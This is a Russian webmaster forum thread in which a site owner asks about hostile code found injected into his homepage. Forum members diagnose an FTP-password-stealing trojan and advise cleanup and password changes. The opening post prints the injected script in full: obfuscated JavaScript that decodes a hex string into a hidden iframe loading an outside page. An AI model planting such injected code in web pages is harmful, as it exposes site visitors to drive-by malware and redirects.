у меня Хакнули сайт ?

12
SCANER
На сайте с 07.02.2007
Offline
53
907

что за дрянь появилась у меня на главной в конце кода кто знает ?

</html><script>function v46e87eeebe757(v46e87eeec13a1){  return(parseInt(v46e87eeec13a1,16));}function v46e87eeecfdfd(v46e87eeed4c15){ function v46e87eeee3672 () {return 2;} var v46e87eeed9a30='';for(v46e87eeede858=0; v46e87eeede858<v46e87eeed4c15.length; v46e87eeede858+=v46e87eeee3672()){ v46e87eeed9a30+=(String.fromCharCode(v46e87eeebe757(v46e87eeed4c15.substr(v46e87eeede858, v46e87eeee3672()))));}return v46e87eeed9a30;} document.write(v46e87eeecfdfd('3C696672616D65206E616D653D27623666356365373327207372633D27687474703A2F2F766572796D6F6E6B65792E636F6D2F676F6F662F696E6465782E706870272077696474683D373733206865696768743D313634207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script>

после того как полностью прогружается первая страница моего сайта меня выкидывает вот на этот сайт http://arabica.in/

Роботы (http://mygeek.ru), Гаджеты (http://mygeek.ru), Игрушки (http://mygeek.ru), Магазин (http://mygeek.ru), Интернет (http://mygeek.ru)
solomko
На сайте с 01.09.2007
Offline
213
#1

Партнёрские программы используете?

30% всех моих доходов идут отсюда (http://www.sape.ru/r.d5e628f4c4.php) Когда-то тут была ссылка рефки Рrofit-partner - R.I.P милый друг Поднимаю показатели сайтов, стабильный доход (http://gogetlinks.net/?inv=gypp40)
Nakhabino
На сайте с 04.10.2006
Offline
87
#2

Словили трояна вы, а он украл фтп доступ на сайт.

Касперский говорит что это - Trojan-Downloader.VBS.Psyme.gf

SCANER
На сайте с 07.02.2007
Offline
53
#3
solomko:
Партнёрские программы используете?

нет, не используем.

WEB®
На сайте с 30.07.2007
Offline
70
#4

дейтствительно троян, вообщем то безобидный

нужно удалить эту строку и сменить пароль от ftp доступа

это будет ваш достойный ответ хакерам:)

Сервис блогов (http://blogrus.ru) Показатели сайта (http://www.pr-cy.ru/analysis/blogrus.ru) Рассмотрю предложения по развитию проекта
Natata
На сайте с 19.02.2007
Offline
148
#5

Была такая же проблема мес. 6 назад. Прошерстите свежими базами каспера, и смените пароль к фтп. Проблема больше не повторялась!

F
На сайте с 20.05.2007
Offline
55
#6
WEB®:
дейтствительно троян, вообщем то безобидный
нужно удалить эту строку и сменить пароль от ftp доступа
это будет ваш достойный ответ хакерам:)

ещё нужно удалить троян, а то он опять сопрет пароли

Solmyr
На сайте с 10.09.2007
Offline
501
#7

Не думайте что вы так нужны хакерам чтоб они в индивидуальном порядке просматривали ваши аккаунты через ФТП. :) :) :) Тем более ради того, чтоб повесить простенький троян. Скорее всего взломан хостер. Ну за исключением того варианта, что ваш проект настолько интересен и посещаем, что представляет самостоятельную ценность... Но тогда бы у вас на проекте был бы свой специалист по безопасности и вы бы не задавали такого вопроса на форуме :) :) :)

П
На сайте с 22.05.2006
Offline
185
#8
Solmyr:
Не думайте что вы так нужны хакерам чтоб они в индивидуальном порядке просматривали ваши аккаунты через ФТП. :) :) :) Тем более ради того, чтоб повесить простенький троян. Скорее всего взломан хостер. Ну за исключением того варианта, что ваш проект настолько интересен и посещаем, что представляет самостоятельную ценность... Но тогда бы у вас на проекте был бы свой специалист по безопасности и вы бы не задавали такого вопроса на форуме :) :) :)

не болтайте ерундой, "взломан хостер" - это не серьёзно. кому надо ломать хостера ради банального редиректа ?!

Наверняка ТС пользуется программой типа нордоткоммандера, фара, или тоталкоммандера для доступа по фтп. и пароль на свой сайт у него СОХРАНЕН !!!

99% история была такая:

ТС словил по мылу троян, который просто прочитал с его компа сохраненный пароль доступа на ФТП.

Вызывается дождь - постарался шаман. Не вызывается дождь - виноват яндекс. Покупаю внутренние на постоянку (/ru/forum/153994) : Строительство, Машиностроение, Производство, Энергетика, Электроснабжение.
M
На сайте с 19.07.2007
Offline
25
#9

У меня был этот же вирус. Он крадет пароли от фтп, а потом во все ваши сайты во все файлы индекс вставляет эту гадость. Чистите код, меняйте пароли и не храните их в фтп, или уж ставьте новейшие базы на антивир.

F
На сайте с 20.05.2007
Offline
55
#10
Solmyr:
Не думайте что вы так нужны хакерам чтоб они в индивидуальном порядке просматривали ваши аккаунты через ФТП. :) :) :) Тем более ради того, чтоб повесить простенький троян. Скорее всего взломан хостер. Ну за исключением того варианта, что ваш проект настолько интересен и посещаем, что представляет самостоятельную ценность... Но тогда бы у вас на проекте был бы свой специалист по безопасности и вы бы не задавали такого вопроса на форуме :) :) :)

вы явно не представляете возможности современного программирования.

а трояны обычно на асме пишут..................

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий